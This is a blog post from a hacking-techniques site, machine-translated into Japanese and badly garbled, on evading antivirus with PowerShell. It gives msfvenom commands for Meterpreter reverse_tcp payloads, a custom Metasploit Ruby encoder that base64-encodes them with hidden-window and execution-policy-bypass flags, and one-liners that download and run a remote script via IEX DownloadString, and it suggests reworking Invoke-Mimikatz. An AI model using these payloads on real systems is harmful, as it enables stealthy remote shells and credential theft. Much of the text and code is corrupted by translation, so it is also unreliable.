Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86392110

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

強力で組み込みのWindows PowerShellは、浸透プロセス中に侵入をより興味深いものにします。セキュリティソフトウェアの対立と殺害は、PowerShellのすべての行動を徐々にターゲットにし始めました。

https://technet.microsoft.comで、ドキュメントは次のとおりです。

Windows PowerShellは.NETフレームワークテクノロジーに基づいており、既存のWSHとの逆方向の互換性を持つため、スクリプトプログラムは.NET CLRにアクセスするだけでなく、既存のCOMテクノロジーを使用できます。また、データベースやWMIへのログインなど、マネージャーの処理を改善するためのシンプルで一貫した構文、いくつかのシステム管理ツールも含まれています。 Exchange Server 2007やSystem Center Operations Manager 2007などのサーバーソフトウェアには、Windows PowerShellが組み込まれています。

Theavailable Startupparameters:の等式

-CommandSpecifififififiedtoexecuteSteastedthoweretypedatthepowershellcommandprompt。

-EncodedCommandSpecifeSheBase64-EncodedCommandTextToExecute。

-executionpolicysetsthededefaultexecutionpolicyfortheconsolessession。

-FILESESTSTHENAMEOFASCRIPTFILETOEXECUTE。

-inputFormatsTheFormATASENTTOPOPOWERSHELLASETEXTEXTSTRINGSTRINGORIALIZEXML.THEDEFAULTFORTISXML.VALIDVALUESARETEXTANDXML。

-noexitdoesnotexitafterrunning startup commands.thisparametersuseful yourunpowershell commandsorscriptssviathecommandprompt(cmd.exe)。

-nologostartSthepowerShellコンソールは、Thecopyrightbannerを表示せずに。

-noninteractivestartSthePowerShell consoleinnon-interactivemode.inthismode、powershellはinteractiveprompttotheuserを紹介しません。

-noprofiletellSthepowerShell consolenottoloadthecurrentuser’sprofile。

-OutputFormatsTheForMatForOutPutaseTheTextStringStringorializedXml.thedefaultFormatistext.ValidValuesAretExtandxml。

-PSCONSOLEFILEOADSTHESPECIFIEDWINDOWSSHELLCONSOLEFILE.CONSOLEFILESENDWITHTHE.PSC1EXTENSIONANDCANTONSURETHATSNAP-specificSnap-nap-nap-nap-nap-nap-inxtensionsionsionsionsionsionsionsionsionsionadavaible.youcancreateaoconsoleusinginging export-consoleinwindowsowershell。

-stastAstArtSpowerShellinsingle-threadedMode。

-versionsetsthionsofwindowspowershelltouseforcompatibility、sotas1.0。

-windowstyleSetsethewindowStyleasNormal、最小化、最大化、または非表示。

その機能については、ローカルテスト:Add-Type-AssemblynamePresentationFramework; [System.Windows.MessageBox] :Show( 'Micropoor')

wsgrfo50b2t9071.jpg

上記のように、PowerShellの行動や特性のいくつかは、ますます多くのアンチソフトウェアに直面し始めます。 MSFVENOMを例にとって、ペイロードを生成します

pzzylpvhihd9072.jpg

Micropoor.ps1は残念ながら殺されました

ea0n2o3yrpn9073.jpg

PowerShell機能のペイロードを変更します

ra0belyvxv39074.jpg

次に考慮すべきことは、上記の繰り返しの作業を自動化に変え、PowerShellとダウンロードストリングの特性に2つのペイロードフォームを設計する方法です。(1)ターゲットマシンがネットワークを出る(2)ターゲットマシンはネットワークを出ないで、ニーズに応じてメタプロイトをシームレスに接続します。 Microsoft Documentationによると、上記に役立つ可能性のあるプロパティ、つまり、WindowStylenoExitededCommandexec Automationの実装は次のとおりです。

#base64.rbをmetasploit-framework/embedded/framework/modules/encoders/powershellにコピーします。

#例えば

#MSFエンコーダー(PowerShell/base64)Exploit/Multi/Handlerを使用します

#MSF Exploit(Multi/Handler)Payload Windows/X64/MeterPreter/Reverse_TCPを設定します

#ペイロード=windows/x64/meterpreter/reverse_tcp

#MSF Exploit(Multi/Handler)Exploit

#msfvenom -p Windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f psh -reflection -arch x64 -platform windows | MSFVENOM -E POWERSHELL/BASE64 -ARCH X64 -Platform Windows。

#[*] xx.1xx.xx.xx:xxでリバースTCPハンドラーを開始しました

クラスMetasploitModule MSF:3360ENCODER

rank=normorranking

def initialize

素晴らしい(

'name'='powershell base64エンコーダー'、

'説明'=%q {

msfvenom -p Windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f psh -reflection -arch x64 -platform windows | MSFVENOM -E POWERSHELL/BASE64 -ARCH X64 -Platform Windows。

}、

「著者」='マイクロプロア'、

'arch'=arch_cmd、

「プラットフォーム」='win')

Register_options([

optbool.new( 'payload'、[false、 'payload'、false])、

optbool.new( 'x64'、[false、 'syswow64 powershell'、false]))

]))

終わり

def encode_block(state、buf)

base64=rex:text.encode_base64(rex:3360text.to_unicode(buf)))

cmd=''

DataStore ['x64']の場合

cmd +='c: \ windows \ syswow64 \ windowspowershell \ v1.0 \ powershell.exe'

それ以外

cmd +='powershell.exe'

終わり

DataStore ['Payload']の場合

cmd +='-windowsstyle hidden -exec bypass -noexit'

終わり

cmd +='-EncodedCommand#{base64}'

終わり

終わり

#Caidaoを使用する場合

#ECHO POWERSHELL -WINDOWSSTYLE HIDDEN -EXEC BYPASS -C \ '' IEX(new -Object.WebClient).DownLoadString( 'http://192.168.1.117/XXX.PS1'); \ '' '| MSFVENOM -E X64/XOR4 -CHOR4 -CHRACH4 -CHRACH4 -ARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -ARK4 -CHARK4 -PLATOFFIN

#xxx.ps1はmsfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f psh -reflection -arch x64 -platform windows | MSFVENOM -E POWERSHELL/BASE64 -ARCH X64 -Platform Windows。

PowerShell_base64.rbファイルを/usr/share/metasploit-framework/embedded/framework/modules/encoders/powershellディレクトリにコピーします。 PowerShellが空の場合は、新しいPowerShellディレクトリパラメーターを作成してください。ペイロードMetasploitペイロードを使用してPowerShellキーワードを削除するかどうかを選択します。例1(ネットワーク外のターゲット、ダウンロードと実行):Echo PowerShell -WindowsStyle Hidden -C \ '' IEX(new -Object.WebClient).DownLoadString( 'http://192.168.1.117/MICROPOOR.PS1'); Windows

p5z5lyymfjq9075.jpg

例2(ターゲットはネットワークを離れず、ローカルで実行します)

msfvenom -p Windows/x64/meterpreter/reverse_tcp lhost=192.168.1.117 lport=8080 -f psh -reflection -arch x64 -platform windows | MSFVENOM -E POWERSHELL/BASE64 -ARCH X64 -PLATFORM WindowsPayLoad

注:ペイロードパラメーターを追加します

vrd43yyjp5q9076.jpg

より興味深い実験:例1のダウンコンテンツを例2に変更し、ペイロードパラメーターを削除します。ペイロードサイズを減らすため。 Invoke-mimikatz.ps1などを変更する

pwq0flfe5ks9077.jpg

from:https://technet.microsoft.com/en-us/library/ff629472.aspx

https://github.com/danielbohannon/invoke-obfuscation

https://Micropoor.blogspot.com/2018/04/powershell.html